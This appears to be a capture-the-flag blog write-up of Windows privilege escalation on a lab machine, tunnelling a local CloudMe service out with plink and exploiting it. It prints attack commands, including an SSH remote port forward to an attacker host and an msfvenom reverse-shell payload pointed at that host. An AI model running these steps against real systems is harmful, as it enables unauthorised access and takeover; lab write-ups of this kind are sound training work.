The following Powershell command can be used to check what service is running on a particular port, in this case 8888:

powershell.exe Get-Process -Id (Get-NetTCPConnection -LocalPort 8888).OwningProcess

After doing a quick research I found this exploit which affects version 1.11.2 and looked like a very good candidate.

https://www.exploit-db.com/exploits/48389

First I had to check to see if this service was being run by my user, for this I used the tasklist command. The process did not show up under my current username (shaun) so most likely it was being run by another user, hopefully an administrator.

tasklist /FO List /FI "IMAGENAME eq CloudMe.exe"  /v

The only problem that I had at this point is that port 8888 was not visible from the outside so I didn't have a way to directly attack this service and try to exploit the vulnerability.

SSH Tunnels to the Rescue

SSH is a very versatile protocol, and while 99% of the times we use it to connect to systems and execute commands on them we can also use it create SSH tunnels that would allow us to expose ports and services on remote systems that otherwise would not be visible. This is known as SSH port forwarding. Here are a couple of links that might help you understand the concept if this is something new for you.

https://phoenixnap.com/kb/ssh-port-forwarding

https://www.ssh.com/ssh/tunneling/example

https://www.ssh.com/ssh/putty/putty-manuals/0.68/Chapter7.html

In this case I used a Remote Port Forwarding technique that would allowed me to expose (port forward) the remote port 8888 from the remote machine on my local machine. I used plink.exe which is the command line equivalent of Putty.exe the popular ssh client for Windows.

Here is the full command that I needed to execute on the Windows box. Noticed that I uploaded plink.exe as part of the zip file that originally transferred as I started my quest for privilege escalation:

plink64.exe -ssh -l rax -pw sup3rs3cretpass -N -R 10.10.14.12:8888:127.0.0.1:8888 10.10.14.12 -P 2222

Where the syntax goes as follows

-ssh means  use the protocol ssh 
-l specifies the user, in this case the user on  my machine is "rax" 
-pw specifies the password 
-N means do no start a command shell 
-R specifies the "listen IP"  
10.10.14.12:8888:127.0.0.1:8888,  the first IP:Port tuple represents 
the remote system were we will be port forwarding our traffic to 
and the second IP:Port tuple represents the local service from which 
we will be port fowarding from. 
10.10.14.12 is the attacker machine that will receive the incoming SSH connection 
- P 2222, is the destination port on the attacker machine.

Notice that I was running SSH on my Kali box on port 2222. This is because after several failed attempts to establish the connection on the default port 22 I was not able to do it. After some investigation, and trying to get a simple nc shell back I realized that something was blocking my outgoing SSH connection on port 22 (Windows Firewall? )

Before running the command on the remote host, I went back to my Kali machine to make sure that the SSH service is running on port 2222 and that I didn't have anything running on port 8888.

In this type of scenarios It is also useful to grep the /var/log/auth.log file to be able to see the incoming SSH connection in case something is not working

I ran the command and that added a new service listening on port 8888 on the local Kali Machine.

See below the output of the Kali Machine's netstat before and after starting the SSH tunnel with plink. Also notice the incoming connection on the auth.log file.

Now that was done, it was possible to access the service CloudMe running on the remote machine through the local machine's loopback address on port 8888.

netstat -anop |  grep 8888 | grep Listen

Back to the exploit from Exploit DB.

The exploit was a Poc and all it did was open calc.exe so I modified it to generate a reverse shell back to my attacker computer at 10.10.14.12:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=9999 EXITFUNC=thread -b "\x00\x0d\x0a" -f python

Having updated the payload on the exploit with the output from msfvenom, I proceeded to check the target IP address on the exploit code and luckily enough it was already pointing to 127.0.0.1 which is the target address(in reality the target IP address was 10.10.10.194 but remember that the service was being tunneled through my loopback)

I started a listener on port 9999 and on a separate command shell ran the exploit.

Once that was done I got a shell back and I was able to confirm that I was now logged in as an Admin user.

Time to get the "root" flag:

Alright, that's it for now. Let me know in the comments which machine or topic would you like to see next.

Happy Hacking!

~Ragab0t 🤖